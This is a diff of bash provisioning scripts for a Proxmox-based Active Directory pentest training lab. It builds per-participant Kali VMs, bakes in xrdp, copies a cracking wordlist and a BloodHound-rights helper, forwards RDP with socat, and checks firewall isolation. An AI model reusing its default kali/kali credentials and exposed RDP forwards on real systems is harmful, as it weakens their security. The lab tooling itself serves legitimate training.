ip addr del ${probe}/24 dev "\$iface" || true
GUEST
)
b64=$(printf '%s' "$script" | base64 -w0)
qm guest exec "$tpl" --timeout 1800 -- /bin/bash -c \
"echo $b64 | base64 -d > /tmp/xrdp.sh; bash /tmp/xrdp.sh" >/dev/null 2>&1 \
|| warn "the xrdp install reported an error (see the template's apt output)"
qm shutdown "$tpl" --timeout 90 >/dev/null 2>&1 || qm stop "$tpl" >/dev/null 2>&1 || true
deadline=$(( SECONDS + 120 ))
while (( SECONDS < deadline )); do
pve_running "$tpl" || break
sleep 3
done
pve_running "$tpl" && qm stop "$tpl" >/dev/null 2>&1 || true
systemctl disable --now squid >/dev/null 2>&1 || true
if [[ -f /root/squid.conf.norbourg ]]; then
mv -f /root/squid.conf.norbourg /etc/squid/squid.conf
fi
ok "xrdp installed in the Kali template"
}
# One attacker VM per participant. Configured through the QEMU guest agent # One attacker VM per participant. Configured through the QEMU guest agent
# (the Kali image ships it as a static unit, so Proxmox starts it), reached # (the Kali image ships it as a static unit, so Proxmox starts it), reached
# entirely through the Proxmox web console: no VPN, no client setup. # entirely through the Proxmox web console: no VPN, no client setup.
@@ -442,12 +590,15 @@ _px_kali_tools() {
dir=$(mktemp -d) dir=$(mktemp -d)
cp "$CONTENT_DIR/scripts/wordlists/norbourg.txt" "$dir/" cp "$CONTENT_DIR/scripts/wordlists/norbourg.txt" "$dir/"
cp "$CONTENT_DIR/scripts/bh_clues.py" "$dir/"
cat > "$dir/README.txt" <<'EOF' cat > "$dir/README.txt" <<'EOF'
Outils de l'atelier Norbourg Outils de l'atelier Norbourg
============================ ============================
norbourg.txt : liste de mots ciblee, dimensionnee pour un cassage de norbourg.txt : liste de mots ciblee, dimensionnee pour un cassage de
quelques secondes. quelques secondes.
bh_clues.py : lit les JSON de bloodhound-python et imprime les droits
exploitables d'un compte (outil concu pour ce laboratoire).
sudo mkdir -p /opt/norbourg/wordlists sudo mkdir -p /opt/norbourg/wordlists
sudo cp /media/cdrom/norbourg.txt /opt/norbourg/wordlists/ sudo cp /media/cdrom/norbourg.txt /opt/norbourg/wordlists/
@@ -496,6 +647,13 @@ _px_kali_template() {
qm set "$tpl" --sata0 "$vol" --boot order=sata0 >/dev/null \ qm set "$tpl" --sata0 "$vol" --boot order=sata0 >/dev/null \
|| die "could not attach the imported disk" || die "could not attach the imported disk"
qm set "$tpl" --delete unused0 >/dev/null 2>&1 || true qm set "$tpl" --delete unused0 >/dev/null 2>&1 || true
# Optional extras (xrdp) are installed before the template is sealed, so
# every clone and every `kali reset` keeps them.
if [[ ${KALI_XRDP:-0} == 1 ]]; then
_px_kali_bake_xrdp "$tpl" || warn "xrdp was not baked into the Kali template"
fi
qm template "$tpl" >/dev/null qm template "$tpl" >/dev/null
rm -rf "$work" rm -rf "$work"
ok "Kali template ${tpl} created" ok "Kali template ${tpl} created"
@@ -545,6 +703,11 @@ fi
if [ -n "$src" ]; then if [ -n "$src" ]; then
cp "$src" /opt/norbourg/wordlists/ cp "$src" /opt/norbourg/wordlists/
chmod 644 /opt/norbourg/wordlists/norbourg.txt chmod 644 /opt/norbourg/wordlists/norbourg.txt
root=$(dirname "$src")
if [ -f "$root/bh_clues.py" ]; then
cp "$root/bh_clues.py" /opt/norbourg/
chmod +x /opt/norbourg/bh_clues.py
fi
umount /mnt/tools 2>/dev/null || true umount /mnt/tools 2>/dev/null || true
fi fi
if ip -4 -br addr show | grep -q '10\.10\.10\.'; then echo NET_OK; else echo NET_FAIL; fi if ip -4 -br addr show | grep -q '10\.10\.10\.'; then echo NET_OK; else echo NET_FAIL; fi
@@ -559,7 +722,11 @@ SCRIPT
"echo ${b64} | base64 -d > /tmp/norbourg-setup.sh; bash /tmp/norbourg-setup.sh" 2>/dev/null) || { "echo ${b64} | base64 -d > /tmp/norbourg-setup.sh; bash /tmp/norbourg-setup.sh" 2>/dev/null) || {
warn "$name: setup script failed"; return 1; } warn "$name: setup script failed"; return 1; }
out=$(printf '%s' "$json" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("out",""))' 2>/dev/null) out=$(printf '%s' "$json" | python3 -c '
import json, sys
d = json.load(sys.stdin)
sys.stdout.write((d.get("out") or d.get("out-data") or "").replace("\x00", ""))
' 2>/dev/null)
if [[ $out == *NET_OK* && $out == *DNS_OK* ]]; then if [[ $out == *NET_OK* && $out == *DNS_OK* ]]; then
ok "$(printf '%-12s %-14s ready' "$name" "$ip")" ok "$(printf '%-12s %-14s ready' "$name" "$ip")"
else else
@@ -658,6 +825,39 @@ cmd_kali() {
_px_kali_configure "$vmid" "kali-$(printf '%02d' "$i")" "$(kali_ip "$i")" || true _px_kali_configure "$vmid" "kali-$(printf '%02d' "$i")" "$(kali_ip "$i")" || true
done done
;; ;;
rdp)
have_cmd socat || die "socat required (apt install socat)"
local host; host=${PVE_WEB_HOST:-$(hostname -f 2>/dev/null || hostname)}
local unit
for i in $(seq 1 "$count"); do
pve_exists "$(kali_vmid "$i")" || { warn "kali-$(printf '%02d' "$i") does not exist — ./lab.sh kali install"; continue; }
unit="/etc/systemd/system/norbourg-kali-rdp-$i.service"
cat > "$unit" <<EOF
[Unit]
Description=Norbourg Kali seat $i (RDP)
After=network-online.target
[Service]
ExecStart=/usr/bin/socat TCP-LISTEN:$((3380 + i)),fork,reuseaddr TCP:$(kali_ip "$i"):3389
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable --now "norbourg-kali-rdp-$i" >/dev/null 2>&1 \
|| { warn "could not start the forward for kali-$(printf '%02d' "$i")"; continue; }
ok "$(printf 'kali-%02d rdp://%s:%s (kali/kali)' "$i" "$host" "$((3380 + i))")"
done
;;
rdp-off)
for i in $(seq 1 "$count"); do
systemctl disable --now "norbourg-kali-rdp-$i" >/dev/null 2>&1 || true
rm -f "/etc/systemd/system/norbourg-kali-rdp-$i.service"
done
systemctl daemon-reload
ok "RDP forwards removed"
;;
reset) reset)
for i in $(seq 1 "$count"); do for i in $(seq 1 "$count"); do
local vmid; vmid=$(kali_vmid "$i") local vmid; vmid=$(kali_vmid "$i")
@@ -669,7 +869,7 @@ cmd_kali() {
done done
;; ;;
*) *)
info "usage: ./lab.sh kali install|up|down|status|configure|reset" info "usage: ./lab.sh kali install|up|down|status|configure|rdp|rdp-off|reset"
return 2 return 2
;; ;;
esac esac
@@ -735,3 +935,46 @@ cmd_users() {
printf '\n' printf '\n'
info "Guest credentials inside Kali: kali / kali" info "Guest credentials inside Kali: kali / kali"
} }
# ------------------------------------------------------------------ status
# The shared table reads a qemu pidfile and a VNC display; neither exists
# here, so show the Proxmox view instead.
cmd_status() {
local i name ip vmid state role n
printf '\n%s%-7s %-14s %-7s %-9s %s%s\n' "$C_BOLD" VM IP VMID STATE ROLE "$C_RESET"
for i in "${!VM_NAMES[@]}"; do
name=${VM_NAMES[$i]}; ip=${VM_IPS[$i]}; role=${VM_ROLES[$i]}
vmid=$(pve_vmid "$name")
if ! pve_exists "$vmid"; then state="absent"
elif pve_running "$vmid"; then state="running"
else state="stopped"; fi
printf '%-7s %-14s %-7s %-9s %s\n' "$name" "$ip" "$vmid" "$state" "$role"
done
printf '\n'
for i in "${!VM_NAMES[@]}"; do
name=${VM_NAMES[$i]}; ip=${VM_IPS[$i]}
pve_running "$(pve_vmid "$name")" || continue
if tcp_open "$ip" 5985; then state="yes"; else state="no"; fi
printf ' %-6s winrm: %s\n' "$name" "$state"
done
for n in $(seq 1 "${KALI_COUNT:-0}"); do
vmid=$(kali_vmid "$n")
pve_exists "$vmid" || continue
if pve_running "$vmid"; then state="running"; else state="stopped"; fi
printf ' %-10s vm %-6s %-12s %s\n' "kali-$(printf '%02d' "$n")" "$vmid" "$(kali_ip "$n")" "$state"
done
printf '\n'
}
cmd_vnc() {
local name=${1:-} vmid node host
[[ -n $name ]] || die "usage: ./lab.sh vnc <vm> (VMs: ${VM_NAMES[*]})"
vmid=$(pve_vmid "$name") || die "unknown vm: $name"
node=$(pve_node)
host=${PVE_WEB_HOST:-$(hostname -f 2>/dev/null || hostname)}
info "console: https://${host}:8006/?console=kvm&novnc=1&vmid=${vmid}&node=${node}&resize=scale"
info "or from this host: qm terminal ${vmid} (Linux guests only)"
}
+4
View File
@@ -86,6 +86,10 @@ KALI_IP_BASE=41 # 10.10.10.41 .. .4N, outside the DHCP pool
KALI_VMID_BASE=1300 # template at +90 (windows templates use 1200+) KALI_VMID_BASE=1300 # template at +90 (windows templates use 1200+)
KALI_LINKED_CLONE=1 # 0 = full copies (needs more disk) KALI_LINKED_CLONE=1 # 0 = full copies (needs more disk)
KALI_ARCHIVE_URL="https://cdimage.kali.org/kali-2026.3/kali-linux-2026.3-qemu-amd64.7z" KALI_ARCHIVE_URL="https://cdimage.kali.org/kali-2026.3/kali-linux-2026.3-qemu-amd64.7z"
# Bake xrdp into the Kali template (GUI over RDP, port 3389 inside the seat).
# Needs Internet on the PVE host for one apt install, done through a temporary
# squid that only accepts the probe address. Set to 0 to skip.
KALI_XRDP=1
# ---------------------------------------------------------------- participants # ---------------------------------------------------------------- participants
# WireGuard endpoint for the router VM option; peers/ writes configs here. # WireGuard endpoint for the router VM option; peers/ writes configs here.
+18
View File
@@ -37,6 +37,18 @@ backend_check() {
else else
_c_warn "qemu-bridge-helper not found: unprivileged bridge attach will fail" _c_warn "qemu-bridge-helper not found: unprivileged bridge attach will fail"
fi fi
# Isolation lives in firewalld's permanent configuration, so it survives a
# reboot. Check it here: without the policy the lab can reach the office LAN.
if have_cmd firewall-cmd && firewall-cmd --zone=norbourg-lab --list-all >/dev/null 2>&1; then
if firewall-cmd --policy=lab-in --list-all >/dev/null 2>&1; then
_c_ok "firewalld isolation: zone norbourg-lab + policy lab-in"
else
_c_warn "isolation policy lab-in missing: run sudo ./setup-network.sh"
fi
else
_c_warn "isolation zone norbourg-lab missing: run sudo ./setup-network.sh"
fi
} }
# ------------------------------------------------------------------ layout # ------------------------------------------------------------------ layout
@@ -285,6 +297,12 @@ backend_ready() {
backend_start() { backend_start() {
local name=$1 remote=$2 local name=$1 remote=$2
if ! _labwinrm "$name" ps "Test-Path '${remote}'" 2>/dev/null | grep -qi true; then
fail "$name: ${remote} is missing — the seed payload was not copied"
return 1
fi
_labwinrm "$name" start "$remote" _labwinrm "$name" start "$remote"
} }